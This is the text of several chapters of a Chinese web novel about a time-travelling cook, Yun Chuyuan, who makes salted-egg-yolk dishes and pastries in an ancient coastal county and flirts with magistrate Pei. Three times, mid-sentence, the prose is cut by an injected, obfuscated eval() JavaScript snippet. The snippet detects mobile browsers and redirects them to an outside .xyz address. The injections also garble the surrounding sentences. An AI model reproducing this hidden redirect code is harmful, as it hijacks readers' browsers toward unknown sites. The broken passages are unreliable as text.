该说不说,古人的智慧不容小觑,为了能延长食物的保质期,各种腌制手法层出不穷。 就拿咸鸭蛋来说,有用盐水浸泡的方法、有用盐水调制黄泥糊来包裹鸭蛋的、还有直接裹盐的腌制法,无论哪种,做出来的咸鸭蛋都很美味。 林大娘笑着说道:“你吃这个的是我腌制的,你要是喜欢,多带一些回去。”说完,她拿出一个竹筐,不停往里面装咸鸭蛋。 “好,谢谢大娘!” 说话的功夫,云楚沅瞅了手里的鸭蛋好几眼,方才浅尝辄止,令她回味无穷。 云楚沅迫不及待地咬了一口咸鸭蛋,蛋白的口感细腻嫩滑,带着恰到好处的咸味,当牙齿咬到蛋黄,沙软绵密的质感如同丝绒般在舌头上铺开。 咸香与油润交织在一起,蛋黄的醇厚滋味在嘴里肆意蔓延,每咀嚼一口,尽是鸭蛋的浓郁鲜香,那流油的部分口感极佳,油润却不腻,味蕾被这充沛的油香温柔包裹,令人欲罢不能。 云楚沅陶醉地微微眯眼,细细咀嚼,解决完一个后,她对林大娘说道:“大娘,你这么慷慨大方,我给你做道好菜尝尝!” “云丫头,听说你开的食肆生意红火,老婆子没吃过,确实想尝一尝。”林大娘笑着说道。 林小鱼一听,喜上眉梢,凑到云楚沅身边问道:“云姐姐,你要做什么好吃的?” “咸蛋黄焗螃蟹。” 云楚沅主动提出来要露两手,钟兰花和林小鱼主动为她打下手。 螃蟹仔细洗净,揭开蟹盖,去除不可食用的部分,再把蟹身切块,蟹钳用小锤子敲裂,以便入味。 咸蛋黄碾碎,那细腻的颗粒泛着金黄的油润光泽。 热油将螃蟹炸至金黄,随后盛出备用,锅中再加入适量的油,放入碾碎的咸蛋黄,小火慢炒。 随着温度的升高,咸蛋黄开始泛起密集的小泡泡,浓郁的咸香气息瞬间弥漫开来,待咸蛋黄炒出沙状时,将煎好的螃蟹块倒入锅中,迅速翻炒均匀。 每一块蟹肉都裹满金咸蛋黄沙,宛如给它们穿上了一层华丽的金色外衣。 蟹肉在咸蛋黄的包裹下,色泽诱人,红亮的蟹壳与金色的咸蛋黄相互映衬,一盘咸蛋黄焗螃蟹便大功告成。 “兰花嫂子,你的菜也做好了吧,咱们一起端出去吧。” 既然是钟兰花邀请云楚沅共进午膳,自然备好了食材,鱼肉、猪肉、鸡肉一应俱全,云楚沅怎么说也是客人,做一道菜便好,剩下的当然还是得主人家来做。 “妹子,你来之前就已经做好了几样荤菜,有清蒸海鲈鱼、红烧肉、炒鸡,再加上我方才凉拌的海带和海蜇,你还满意不?” 云楚沅看着一道道卖相极佳的菜肴,笑着说道:“看起来就很好吃,嫂子辛苦了。” 钟兰花摆了摆手,“妹子甭夸我了,我在你面前卖弄厨艺,你不笑话我就好。” 林家院子的木桌上摆满各式各样的菜肴,显然林家人对邀请云楚沅用饭一事相当看重,林大娘将云楚沅拉到身旁坐下。 “吱呀~”院门被推开,外出干活的林家人回来了,为首的是林大爷,后面跟着林老大、林老二、林老三、林老四兄弟四人,他们刚从养殖区回来。 让云楚沅感到意外的是,林三嫂和林四嫂提着工具垂头丧气地走在最后。 云楚沅靠近左手边的钟兰花小声问道:“嫂子,你两个弟妹这是怎么了?”她原本以为这俩偷奸耍滑的妇人又出去躲懒了呢,没想到她们还有干活的时候。 钟兰花气定神闲道:“以前林家的男人要出海,管不着她们,如今有了养殖区,他们能日日待在村里,怎么可能容忍这两个婆娘偷懒,她们不去干活,不给饭吃。” 云楚沅竖起大拇指,叹道:“嫂子持家有方啊。” 林家人简单清理了一下身上的脏污后,先后在木桌旁落座,那盘咸蛋黄焗螃蟹宛如一件精美的艺术品,被摆在正中央。 “哟,这道菜瞧着不一般。”林大爷一边倒了一小杯白酒,一边盯着那道咸蛋黄焗螃蟹。 凑近细嗅,一股浓郁醇厚的香气扑鼻而来,那是咸蛋黄与螃蟹交织出的奇妙香味。 咸蛋黄的咸香浓郁而醇厚,带着淡淡的海腥味,撩拨着味蕾,让人未品其味,先醉其香。 林大娘笑着说道:“那当然,这可是云丫头亲自做的。” 林大爷了然:“怪不得,那我可得好好尝尝。” 他轻执半只螃蟹,手感沉重,拿住蟹腿将蟹身掰开,随着“咔嚓”一声脆响,金黄的蟹黄与白嫩的蟹肉展露无遗,蟹黄细腻如凝脂,蟹肉雪白如玉,肉质饱满,纹理分明,在咸蛋黄的映衬下,散发着诱人的光泽。 林大爷夹起一块蟹肉放入口中,首先感受到的是咸蛋黄沙沙的质感,如同细腻的金沙,在齿间慢慢研磨,释放出无尽的咸香。 随后,蟹黄浓郁醇厚,口感绵密,如同丝绸般滑过喉咙,蟹肉鲜美爽滑,轻轻一嚼,汁水四溢,鲜美的滋味瞬间在口中爆开,如同海浪一波接着一波冲击着味蕾。 咸蛋黄的醇厚绵密和螃蟹的鲜嫩多汁在舌尖散开,蟹肉的鲜美与咸蛋黄的独特风味相互交织,碰撞出一种无与伦比的美妙口感。 林三嫂看着面前丰富的一大桌菜,再看看笑容满面的云楚沅,心里十分不平衡,人比人气死人,她辛辛苦苦地去清理养殖区,也没人给她发银子,有的人躺着就能挣钱,老天爷真是不公平! “楚沅啊,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950581|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真是清闲,不像我,每日早出晚归还没银子花,你那加工坊还招人吗?你让我也去干干轻快活呗。”林三嫂阴阳怪气地开口。 云楚沅夹菜的动作一顿,还没来得及回话,就听见“啪嗒”一声,林大娘把筷子撂到桌上。 “哼,怎么,嫁到我们林家是来享福来了?不干活等着喝西北风吗?” 看着婆婆虎着张脸,林三嫂心里犯怵,可她又不甘心地嘀咕道:“那小弟为什么就能啥也不干,让全家人养着他?” 林老三看见老娘难看的脸色,立马斥责道:“我小弟我愿意养就养,你要是看不惯就滚!” 林三嫂被自己男人训斥,如同霜打的茄子一般蔫了下去,轻声说道:“相公,我乱说的,当不得真。” 随后,她又想挑唆没脑子的四弟妹开口,转头一看却瞧见那个缺心眼的两耳不闻窗外事,正埋头苦吃,林三嫂嘴角微抽,咬牙切齿道:“四弟妹,好吃吗?” 林四嫂小鸡啄米般不停点头,她对云楚沅态度大变,“云妹妹,你这手艺绝了,以后我不想去湘香馆了,我只想去你的食肆用饭。” “好。”云楚沅笑着点头,有钱不赚是傻瓜,她才不在乎两人之前有什么矛盾,能给她送银子的都是好人。 林三嫂见到这副其乐融融的场景,明白最后一个帮手也倒戈了,没办法,她只好偃旗息鼓。 吃过午膳过后,云楚沅主动找上钟兰花,提出想要合作之事。 “妹子,你是说,你想购收我娘家的咸鸭蛋?” “对的,我听林大娘说,嫂子你娘家人专门养海鸭的,不知可否定期为云记食肆提供咸鸭蛋呢?”云楚沅打算将咸蛋黄焗螃蟹列入菜单,而且咸蛋黄还能做许多美食,她肯定不能错过。 “那感情好,我阿娘正愁这批鸭蛋太多,卖不出去呢。”钟兰花大喜,跟着云楚沅肯定能赚大钱。 “择日不如撞日,那嫂子今日便带我去你娘家吧。” 钟兰花的娘家在隔壁的隔壁的安海村,她们需要穿过边海村才能抵达。 云楚沅哼哧哼哧地喘着粗气,这路比小渔村到临海县都要远。 小渔村靠近海湾处,由陆地环抱,相反,边海村三面环海,是个海岬村落。 她们沿着海岸走,需要绕过边海村才能到安海村。 走在边海村的地界上,云楚沅突然听到不远处的礁石后传来窸窸窣窣的声音。 “你干嘛?别在这儿!” “艳艳,你不会还想着那个混蛋吧,你可别忘了,没有我,你会落个什么下场。” “啧,我又不是不愿意跟你,但不能这么不明不白。” “你放心,我肯定会娶你的。” 听着一男一女窃窃私语的对话,云楚沅脚步一顿,艳艳?和她那表姐同名吗?难不成真是何艳艳? 云楚沅摇摇头,又觉得不可能,何艳艳自作孽不可活,徐家人怎么可能放过她。 不再多想,云楚沅加快脚步,追上走远的钟兰花。 一阵海风吹来,许是这里比小渔村离大海更近,所以风中的咸味也更重了几分。 36. 贩卖私盐 安海村的海边,与小渔村是截然不同的场景,小渔村的海域被合理划分成了一块一块的,而这里的沿海处全都被密密麻麻的海鸭占领了。 云楚沅隔着老远驻足观看,有人正划着船去喂鸭,木槽里装满了混合着谷物与贝类粉末的饲料。 船还未停稳,栖息在附近礁石与浅滩上的海鸭们,像是收到了集结号角,纷纷扑腾着翅膀,从四面八方呼啸而来。 海鸭们急切地围过去,嘎嘎叫着,伸长脖颈,争抢食物,喙部快速啄食,它们还会相互推搡,有的海鸭对饲料不感兴趣,一头扎进水里叼起小鱼吃。 “哇,这场面可真壮观呀。”云楚沅不禁感叹出声。 “是吧,这一大群海鸭看着就喜人,跟我走,让你瞧瞧更壮观的,这个时候,我爹娘应该在芦苇荡里捡鸭蛋。”钟兰花笑着说道。 大片芦苇在微风中轻轻摇晃,云楚沅跟在钟兰花的身后在芦苇丛里穿梭,一个个小巧玲珑的海鸭蛋静静地躺在芦苇根处,被层层叠叠的芦苇叶遮住。 “怎么样,鸭蛋多吧,根本就捡不完。”钟兰花拨动芦苇,示意云楚沅低头看一窝又一窝的海鸭蛋。 养鸭子也太幸福了吧!有吃不完的鸭蛋,当然,她养殖的鱼虾蟹贝也很好,可是人总是会羡慕自己没有的东西。 钟兰花看到自家娘亲蹲着捡鸭蛋的身影,高声唤道:“阿娘!” “诶,兰花来了?前几日给你送去的鸭蛋吃了吗?还要不要?”钟大娘提着装得满满当当的竹筐站起身来。 “不用了,家里多的是,根本吃不完。阿娘,这位就是我和你提过的云小娘子。”钟兰花拉过云楚沅的手腕,向她老娘介绍。 “钟大娘,我是云楚沅。” “哟,这丫头长得真水灵!”钟大娘打量着眼前亭亭玉立的女子,长得这么白的,在海边村落可不多见。 “娘,我带着云妹子来,可是有件大好事要和你说。”钟兰花激动的说道。 “啥事啊?”钟大娘兴致缺缺,自己这大闺女总是咋咋呼呼的,能有什么好事?她最近的心思都在卖鸭蛋上,这么些鸭蛋卖不出去,她已经着急上火好几日了。 钟兰花也不卖关子,直接告诉了她老娘,“云妹子想要购收咱们家的海鸭蛋!” 钟大娘愣了好半天才反应过来,“当……当真?”她没想到这样天大的好事会落在她头上。 钟大娘激动得双手颤抖,一把握住云楚沅细嫩的小手,兴奋道:“姑娘,俺们家的鸭蛋好着呢!个头大,蛋黄颜色鲜艳,吃起来口感也好。” 好不容易有了买家,钟大娘不由余力地推销着自家的鸭蛋,甚至当即就要拉着云楚沅回家,亲自煎个蛋给她瞧。 “不必了大娘,我在林家已经尝过了,味道确实不错,我想订购腌制过的咸鸭蛋,如何?” 钟大娘哪里有不答应的道理,尽管用上盐成本会提高,可腌过鸭蛋能保存更长的时间,不用担心坏掉,本来他们家卖不出去的鸭蛋就是要腌制起来的,有人要买也不亏。 “姑娘,你和我这大闺女交情不浅,我也不多赚你的,一颗咸鸭蛋我收你五分钱。”钟大娘向云楚沅报了价。 凭良心讲,这价格确实公道,毕竟,人家既要掏钱买盐,又要动手腌制,为她省去了一道工序,云楚沅便没有还价。 “好,大娘,你每隔十日便往县城的云记食肆送一批咸鸭蛋,我回去会叮嘱账房为你结账的。” 双方的洽谈非常融洽,临走之时,钟大娘又给了她满满一大筐咸鸭蛋,云楚沅哭笑不得,加上林大娘给她的,都够她吃好几个月的了。 —— 翌日,云记食肆。 “春香姐,钱婶,这两日生意如何?”云楚沅到铺子时,还没到午时,店里没什么客人。 “一如既往的好。”钱春香笑意盈盈道。 “那便好。”云楚沅提着的一篮咸鸭蛋往后厨的方向走去,掀开帘子说道:“朱师傅,我来做几道新菜式。” 朱师傅接过她手里的鸭蛋,疑惑道:“用这个做吗?咸鸭蛋除了配白粥吃,还能怎么做?” 云楚沅将蛋黄剥了出来,又挑了几只肥美的螃蟹,说道:“好好看,好好学。” 接下来,朱师傅刷新了对咸鸭蛋的认识,它在云楚沅的手中,变幻成了一道道令人惊艳的佳肴。 除了咸蛋黄焗螃蟹外,云楚沅还做了咸蛋黄焗南瓜和咸蛋黄豆腐。 南瓜去皮切块,焯水至七分熟,捞出后过冷水。 锅中倒入少许油,翻炒碾碎的咸蛋黄沙,发出“嗞啦”的声响,小火慢炒,咸蛋黄在锅中缓缓翻滚,从沙粒转为绵密的糊状。 南瓜送入锅中,表面迅速裹上一层金箔般的蛋黄沙,边缘变得焦脆,内里仍旧软糯。 朱师傅尝了一口,蛋黄沙酥脆咸香,南瓜绵密甜糯,这种咸与甜的奇妙搭配,给人带来一种全新的味觉体验。 在他品尝之时,云楚沅做起了第二道菜。 小火慢炒葱姜蒜末,倒入咸蛋黄碎,使其和油脂融合,倒入清水,加盐与糖调味,搅拌均匀。 而后,轻轻放入焯好水的嫩豆腐块,轻柔翻动锅铲,使豆腐与咸蛋黄汤汁充分融合,每一块豆腐都吸饱鲜香的汤汁。 水淀粉慢慢倒入锅中,同时用铲子轻轻搅拌,煮至汤汁浓稠。 咸蛋黄豆腐盛出装盘,一块块豆腐裹着金黄汤汁,宛如金镶玉般诱人,最后,再撒上一把葱花点缀其间。 朱师傅舀上一勺,轻轻吹了吹便送入口中,“嘶,嘶,烫!” “心急吃不了热豆腐。”云楚沅笑着为他倒了杯凉水。 朱师傅品评道:“嗯,又是一种完全不同的美味,咸香嫩滑,咸蛋黄和豆腐结合得恰到好处。” 再加上咸蛋黄焗螃蟹,这三样菜注定会在临海县掀起一股吃咸鸭蛋的浪潮。 钱婶尝过之后便是如此,“我也要回去试试用咸蛋黄做菜,太好吃了!” 钱春香无奈一笑:“娘,你能做出和楚沅一样的味道来吗?再说了,你腌的咸鸭蛋就不怎么样,还是别浪费盐了,盐可不便宜。” 钱婶压低声音说道:“我听说西街有家作坊有便宜的盐卖,我打算去买一点。楚沅,以后咱们食肆也从那买盐吧,能省下不少银子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950582|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哩。” 云楚沅眉头轻蹙,市面上怎么会有盐流通?盐的生产和销售都在朝廷的严格管控之下,私自贩盐,罪行重的会被处以极刑。 “不行,这些盐来路不明,很有可能有人私自晒盐,我们不要掺和进去。”云楚沅直接让钱婶打消这个念头,到时候可别便宜没占到,反而惹来一身腥。 “你说的在理,那我也不去买了。”钱婶有些后怕地拍了拍胸脯,说不准这个贩盐的过几日就被抓了,她还是别去趟浑水了。 午时,钱春香和钱婶去大堂招待客人,云楚沅和朱师傅在后厨做菜,三道新上的菜品主要还是靠云楚沅掌勺,朱师傅在一旁学习。 突然,大堂传来一阵喧哗。 一道尖锐的女声响起:“你这丫头片子,知道我们是谁吗?我们可是你们东家的亲属,你敢收我钱?” “朱师傅,你先做着菜些,我出去瞧瞧。” 云楚沅掀开后厨的门帘,就看到一个泼妇正指着钱春香的鼻子破口大骂。 她走上前去,冷声开口:“哪来的刁妇,敢来我云记撒野?” 妇人转身露出一张陌生的面孔,云楚沅确信自己不认识她,愈发觉得这人就是来找茬的。 妇人见云楚沅竟然在食肆,立马换了副面孔,“楚沅啊,我是你舅母啊,他们是你小表弟,快,快叫表姐。” 她把身后的两个小男孩推了出来,两人怯怯地看了云楚沅一眼,小声道:“表姐……” 云楚沅明白了这个女人的身份,是她舅舅新娶进门的杨寡妇,虽然两家人不来往了,可十里八乡的,什么八卦都传的很快。 据说这杨寡妇跟她舅舅说自己能生儿子,她那舅舅就把她娶了,顺便接手了两个拖油瓶。 云楚沅听说这事的时候就很费解,宁愿养两个不是亲生的男孩,也不愿管自己的女儿,这是何等的奇葩啊。 她舅舅没有主见,从前对王桂芬唯命是从,现在是听杨寡妇的话,连亲生女儿都能断绝关系。这般冷血之人,怪不得她爹娘去世后,他一次也没来过云家。 杨寡妇本来以为云楚沅不在店里,这才想打着舅母的名义上门来蹭吃蹭喝,没想到出师不利,正好碰上了云楚沅。 可杨寡妇是个脸皮厚的,丝毫不在意两人没有交情,她满脸堆笑地说道:“楚沅啊,我这嫁过来听说了你的事后,心疼不已,王桂芳那个天杀的怎么心肠那么坏呢!我就不一样,你没了爹娘,舅母疼你,以后咱们可以多走动走动。” 云楚沅冷漠道:“哼,上一个想当我舅母的人,已经在牢里了。你算哪根葱?还想越俎代庖,替我爹娘管我?” 这人的心思都写在脸上了,无非就是看她能赚钱,想扒上来吸血罢了,云楚沅怎么可能给她这个机会。 看着云楚沅阴沉的表情,杨寡妇不敢说话了,这可是个把舅母送进牢里的狠人,算了,惹不起还躲不起吗? “哈哈,楚沅啊,既然你不愿意,那我就不强求了。”杨寡妇刚想溜走,就被云楚沅叫住了。 “站住,饭钱还没付呢。” 杨寡妇肉疼地掏出铜板,这才被放行。 37. 蛋黄酥 给云记食肆的员工们送过咸鸭蛋后,可算是减轻了负担,云楚沅提着剩下的回到了县衙。 有了咸蛋黄,云楚沅怀念起自己曾经最爱的点心——蛋黄酥。 她来到厨房,撸起袖子,开始准备原料,面粉、红豆、白糖、猪油…… 掀开猪油罐子,云楚沅动作一顿,这膳房里的猪油颜色发黄、腥味重,平常用来炒菜没啥影响,可她要做甜食,还是亲自熬一罐吧。 熬制猪油是个精细活儿,云楚沅把白花花的肥肉切成小块,下入锅中,伴着滋滋声响,油脂慢慢渗出。 待猪油渣变得金黄酥脆,捞出来,把余下的滚烫猪油滤去杂质,静置冷却,凝固的猪油莹润雪白,宛如凝脂,散发着独特的荤香。 做蛋黄酥最重要的就是做好油皮和油酥,油皮是由面粉、油和水混合成的,用来包油酥,使面团更具有延展性;而油酥是面粉和油的混合物,用来起酥的,做出来的点心面皮有层次、还酥得掉渣。 油皮需要三两面粉、一两猪油、半两白糖、一两水,油酥需要三两面粉和一两半的猪油。 先将做油皮的原料混合,揉成可以撑出薄膜的面团,放在一旁醒发两刻钟。 而后做油酥,将面粉倒入猪油中,面粉如雪花般纷纷扬扬,与猪油混合在一起。 云楚沅用掌心和手指不停地轻揉慢捻,把猪油锁进面皮里,使面团变得紧实,直至揉成光滑细腻的面团。 锅中的红豆经过长时间熬煮,变得软糯绵密,一捻就碎,加白糖炒干水分,变成细腻的泥状物,云楚沅浅尝一口,甜而不腻。 油皮和油酥分成大小均匀、数量相等的小剂子,掌心轻揉,将油皮逐个按压成薄片,包好油酥,收口朝下。 云楚沅将包好的有酥皮擀开,从下往上卷起来,盖上湿布松弛一刻钟后,再重复操作一次。 而后,将咸蛋黄包裹进红豆沙里,置于面皮中央,收拢面皮,轻轻搓圆,表面刷上一层蛋黄液,随后撒上些许芝麻,一个饱满可爱的蛋黄酥便已初具雏形。 一个个小圆球被送进烤炉,云楚沅烧木头加热,透过烤炉的缝隙,她瞧见蛋黄酥缓缓膨胀,色泽由白转金黄,直至变得金黄灿烂、油润光亮。 猪油的荤香、蛋黄的咸香、豆沙的甜香,混合在一起,直往人的鼻腔里钻,勾起了云楚沅的馋虫。 她迫不及待地夹了一个蛋黄酥,轻轻咬上一口,先是酥皮簌簌落下,带着猪油的香味,接着是细腻绵密的豆沙,甜蜜的滋味在舌尖蔓延开来,而后是咸香流油的蛋黄,甜咸交织,口感层次分明却又浑然一体。 云楚沅先给待在西院的小弟和小妹送了一碟蛋黄酥,又提着食盒前往主院。 “裴大哥,我做了特别好吃的点心,你尝尝!” 伴随着书房门被推开,一道清丽娇柔的声音传来,如今的云楚沅对县令大人的院子熟门熟路,时常忘记敲门就闯进去了,反正县令大人也不会怪罪她。 “楚沅,过来坐吧。”裴昱臣对着来人轻笑,自己都没发现在这一瞬间,他原本因处理公务而紧绷的情绪放松了下来。 朝气蓬勃的小姑娘就像盛放的向阳花,让人瞧着舒心。 眼瞅着向来注重规矩的自家大人眉头都没皱一下,旁边研墨的青竹识趣地退了下去。 云楚沅将食盒放到桌上,取出里面的点心,“裴大哥,这是我做的蛋黄酥,你快尝尝好不好吃。” 裴昱臣伸手拿了一枚蛋黄酥,置于鼻尖轻嗅,丝丝甜香钻入鼻翼,引得他眉眼间添了几分期待。 点心送到唇边,酥皮碰到牙齿的瞬间碎裂开来,轻轻一抿,便化作碎屑在舌尖散开。 如丝绸一般滑腻的豆沙,带来一阵甜意,隐藏其中的咸蛋黄,油润饱满,这份咸香不会显得过于突兀,反而使其味道更丰富。 裴昱臣细细品味,眼底闪过一丝惊喜之色,原本清冷的面容也因这美味而缓和,宛如冰雪消融,他的嘴角不自觉地上扬,露出一抹满足而又惬意的笑。 待咽下最后一口,裴昱臣意犹未尽地舔了舔嘴唇,不由自主地轻微点头,赞许之意溢于言表,仿佛他品尝的不是寻常点心,而是世间难得的珍馐。 裴昱臣静静注视着那道玲珑倩影,眸光温润如水,“这蛋黄酥外皮金黄酥脆,内里大有乾坤,豆沙与咸蛋黄巧妙融合,甜咸适中,唇齿留香,实乃世间罕见的妙品。” 云楚沅捂嘴轻笑:“哈哈哈,哪有那么夸张,你喜欢便好。” “我自是喜爱此点心,楚沅,你辛苦了,坐下来一起吃吧。”裴昱臣猜她应该给两个孩子送过了,再紧接着过来他这里,那她自己肯定没用多少。 云楚沅面带浅笑,心里很是欣慰,这些时日算是没白投喂小书生,他还知道体贴她。 “好啊,既然裴大人这么想与我同食,小女子盛情难却,自当从命。”云楚沅娇声说道,袅袅婷婷地走向桌边,步步生莲。 她缓缓落座,用手将发丝别到耳后,不经意的动作尽显娇柔之态。 云楚沅做足了小姐的派头,裴昱臣忍俊不禁,他站起身来,拱了拱手,“姑娘,小生这厢有礼了。” 裴县令的配合逗得云楚沅开怀大笑,一边想着这男人还挺上道,一边又在感概,当初羞涩的小古板,如今和妙龄女子同桌用膳也面不改色。 怪不得人人都说,男人的嘴,骗人的鬼。 就连清冷内敛的书生都会花言巧语哄女子了,可想而知,外面那些风流倜傥的公子哥,遇上心仪之人,还不是手到擒来。 裴昱臣感受到对面的女子向他投来探究的视线,他不明就里,出声询问:“楚沅,怎么了?” 云楚沅盯着他的眼睛,问道:“大人你人真好,你是对世间所有女子都如此贴心吗?” 裴昱臣心头“咯噔”一下,不知为何,他隐隐感觉这个问题十分古怪。 从字面意思理解,她问他会不会关心天下女子,答案显而易见,作为百姓的父母官,他理应爱民如子。 裴昱臣刚要点头,就发现云楚沅眼神不善,似是在瞧负心汉,他的动作顿住,试探开口:“不……不会。” “哦?我怎么瞧着大人你方才是想点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950583|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头来着?” 云楚沅伸手将裴昱臣面前的那碟蛋黄酥往自己的方向拖了拖,淡声说道:“想必大人出门吆喝一声,多的是女子想为你做点心,想来是瞧不上我的东西了。” 她的话令裴昱臣浑身不自在,他想也不想地说道:“外人怎么能与你相提并论。” 气氛瞬间安静下来,裴昱臣摸了摸鼻尖,心中暗恼,每回和云姑娘交谈,他总会手足无措、口不择言。 云楚沅对这个回答很满意,谁不想做无人能够替代的人呢,特别是她是穿越而来的,以前专门学过做菜,要是她那凝聚了无数人智慧的手艺征服不了古人,那她这么多年真是白学了。 她将蛋黄酥推回原位,贴近裴昱臣的身体,拍了拍他的肩膀,笑着说道:“裴大人慧眼识珠。” “笃笃笃!” 敲门声响起,门外传来青竹的说话声,“大人,梁捕头求见。” 还没等裴昱臣回话,“砰”的一声,门便被推开了,急脾气的梁捕头风风火火地闯了进来,粗声喊道:“裴老弟,你躲在屋里做什么呢?莫不是金屋藏娇?赶紧出来,我有要事……” 梁捕头的话蓦然停住,他双眼瞪大,不可置信的眼神在凑得很近的一男一女身上来回扫过,女子细嫩的手还覆在男子的肩头,这副情景想叫人不误会都难。 撞破了大人的好事,梁捕头黝黑的脸也掩不住那股燥热,微微泛红,他结结巴巴地开口:“裴……裴老弟,我不知你和云姑娘是这种关系,打扰了打扰了,我先出去等。” “砰!”木门又被重重关上。 裴昱臣还未反应过来,云楚沅先若无其事地收回手,轻声说道:“大人既然和梁捕头有要事相商,那小女子就先行告退了。” 云楚沅走出房门,对着站在门外、表情尴尬的梁捕头轻轻颔首,转身离去了。 直到梁捕头再次走进来,裴昱臣才堪堪回神,对上梁捕头揶揄的眼神,裴昱臣无奈说道:“我和云姑娘什么事都没有。” 梁捕头朝他使了个眼色,朗声说道:“我懂,我懂!我不会告诉别人的。” “……” 看来这个误会是解释不清了,既然梁捕头不会在外面多嘴,那他就不浪费口舌了,裴昱臣便选择了揭过此事。 “我吩咐你去调查的事如何了?”谈起公事,裴昱臣又切换成了那副刚正不阿、浩气凌然的模样。 梁捕头正色道:“查清楚了,那间小作坊背后管事的是徐家人,这贩卖私盐一事,好像还是徐少爷提议的。” “哦?他还有这么大的能耐?”裴昱臣眉头轻挑,右手食指有一搭没一搭地敲击着桌面,“打听到那些盐的来历了吗?” “徐家人出行都很谨慎,我盯了三日也没动静,不过我从小作坊的伙计那得知,徐家少爷曾经乘马车去过边海村。” “边海村?徐家有认识的人住在边海村吗?什么人还能劳驾徐少爷亲自前往拜访?”裴昱臣冷笑一声。 事出反常必有妖,眼高于顶的大少爷居然屈尊降贵,去了偏僻的小村庄,那里肯定有问题。 38. 椒盐皮皮虾 七月,这个季节皮皮虾特别肥美,云楚沅打算带着小弟和小妹回小渔村捉皮皮虾去,临出门之际,裴县令寻了过来。 “楚沅,你们是要回小渔村吗?” 云楚河抢着回答:“是呀,裴大哥,我好些时候没回村子了,可想那些小鱼小虾了。” 裴昱臣笑着摸了摸他的脑袋,眼神却一直看向云楚沅,“不知我可否与你们同行?” 云楚沅好奇地瞅了他一眼,问道:“大人去小渔村做什么?” “去瞧瞧养殖区如何了。”裴昱臣气定神闲道。 原来,这人是不放心她,想要亲自去视察工作啊,云楚沅恍然大悟,自认为知道了真相。 “那就走吧,裴大人,我还想趁天色早去捉虾爬子呢!”云楚沅一边说着,一边牵着两个孩子往外走。 裴昱臣跟上她的步伐,登上了马车,“天微亮,就要去捉虾吗?” 云楚沅斜了一眼裴县令,“你不懂,潮汐是有周期的,住在海边的渔民们都有经验了,今日寅时便会退潮。” 清晨,天边才泛起鱼肚白,一路行至海边,云楚沅迫不及待地跳下马车,接着将两个孩子抱了下来。 凉凉的海风裹挟着咸腥味扑面而来,远远眺望,退潮后的滩涂,坑洼不平,满是泥泞。 “大人,我们先去捉虾了,你随意!” 云楚沅甩掉鞋袜,挽起裤腿,踏入海水中,尽管脚底冰凉刺骨,也丝毫没减少她的兴致。 看着一大两小头也不回地提着桶跑远了,裴昱臣再瞧瞧附近,都是身穿粗布麻衣、光着脚的渔民,衣着整齐的他显得格格不入。 “唉……”叹了口气,裴昱臣决定入乡随俗,他将鞋袜褪下,置于沙滩上,朝云楚沅所在的位置走去。 脚下绵软的淤泥包裹上来,裴昱臣皱起眉头,他感觉自己像是陷入沼泽中一般,寸步难行,每抬一步都要费好大劲儿。 云楚沅猫着腰,目光如炬,扫视过一个个水洼,翻动着石块。 突然,不远处一块翘起的石板下,底下好似有黑影一闪而过,云楚沅定睛看去,一只皮皮虾正趴在那里蠕动。 她三步并作两步小跑过去,越是靠近,越是放轻脚步,双手悄悄伸进水里,指尖刚碰到那滑溜的外壳,皮皮虾便警觉地蜷缩起来,钳子有力地挥舞,险些夹到她的手。 云楚沅丝毫不慌,眼疾手快,掌心合拢,将其困在手中,感受到皮皮虾挣扎时有力的弹跳,她的心中成就感爆棚。 将收获的虾爬子扔到桶里,她继续寻找下一个目标,翻开一块礁石,几只惊慌失措的皮皮虾四处乱窜,它们速度飞快地在浑浊的水里穿梭。 云楚沅瞅准一只个头颇大的,一心想着要逮住它,可那只皮皮虾太灵活了,她没握住,不仅让它挣脱,还溅了一身泥水,脸上全是泥点。 裴昱臣走过来,就瞧见她这副狼狈的模样,他的眼底全是笑意,从怀里取出一条干净的帕子递过去,调笑道:“哪来的小花猫?” 云楚沅接过帕子擦了擦脸,没好气地说道:“县衙来的!” “哦?本县令怎么不知县衙养了猫。”裴昱臣好整以暇地低头看她。 云楚沅磨了磨牙,两只手的手指曲起,张牙舞爪地挠了挠裴昱臣,灵动的双眸透出一丝佯装的恼怒,恰似炸毛的小猫,她的嘴唇轻轻嘟起,娇嗔道:“喵呜!小猫要挠人了!” 小巧的琼鼻轻轻皱了两下,俏皮的发丝在额前乱晃,仿佛是小猫头顶不听话的绒毛。 裴昱臣看着眼前脸颊泛起红晕的少女,像是日出时沾着露水的娇花,这份刻意的生气中带着一种别样的可爱。 